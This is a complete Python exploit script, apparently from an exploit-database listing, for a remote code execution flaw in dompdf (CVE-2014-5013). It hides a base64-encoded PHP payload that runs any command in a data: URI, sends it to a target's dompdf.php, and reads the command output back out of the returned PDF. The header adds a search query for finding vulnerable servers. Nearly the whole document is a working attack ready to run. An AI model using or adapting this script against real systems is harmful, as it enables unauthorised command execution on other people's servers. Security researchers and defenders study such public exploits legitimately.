#!/usr/bin/python

# Exploit Title: dompdf - Remote Code Execution (RCE)
# Vulnerable version: < 5.1
# Date: 2018-05-04
# Vendor Homepage: https://github.com/dompdf/dompdf
# CVE number: CVE-2014-5013
# By: Starev Alexey ( https://t.me/starev_aa ), http://kraud.ru
# Google Search: inurl:/dompdf.php filetype:pdf

# pip install requests
# pip install textract
# pip install pdfminer

import requests
import textract
import shutil
import sys
import base64
import os
from requests.utils import quote

print """
    _   ________  ___  _   _______ 
   | | / /| ___ \/ _ \| | | |  _  \\
   | |/ / | |_/ / /_\ \ | | | | | |
   |    \ |    /|  _  | | | | | | |
   | |\  \| |\ \| | | | |_| | |/ / 
   \_| \_/\_| \_\_| |_/\___/|___/  
                                   
                   https://kraud.ru                  
"""

current_version = sys.version_info.major
if current_version != 2:
    print('This script must be run with Python version 2.x')
    exit()


try:
    target = sys.argv[1:][0]
    command = sys.argv[1:][1]
except:
    print "Usage: python ./CVE-2014-5013.py <target> <command>"
    print "       python ./CVE-2014-5013.py https://example.com/dompdf-0.5.1/dompdf.php \"uname -a\""
    exit()

print "Target: " + str(target)
print "Command: " + str(command)

payload = """<?php
set_time_limit(120);
$output = exec('""" + str(command) + """');
echo "<pre>$output</pre>";
?>"""

encoded_payload = base64.b64encode(payload)

param = "data:application/x-httpd-php;charset=utf-8;base64," + str(encoded_payload)
urlparam = quote(param, safe='')
url = str(target) + "?input_file=" + str(urlparam)

try:
    r = requests.get(url)
except:
    print "Error connecting"
    exit()

if r.status_code == 200:
    with open("data.pdf", 'wb') as f:
        f.write(r.content)

try:
    text = textract.process("data.pdf")
    print "Result:"
    print(text)
except:
    print "Server likely not vulnerable."

try:
    os.unlink("data.pdf")
except:
    error = 1
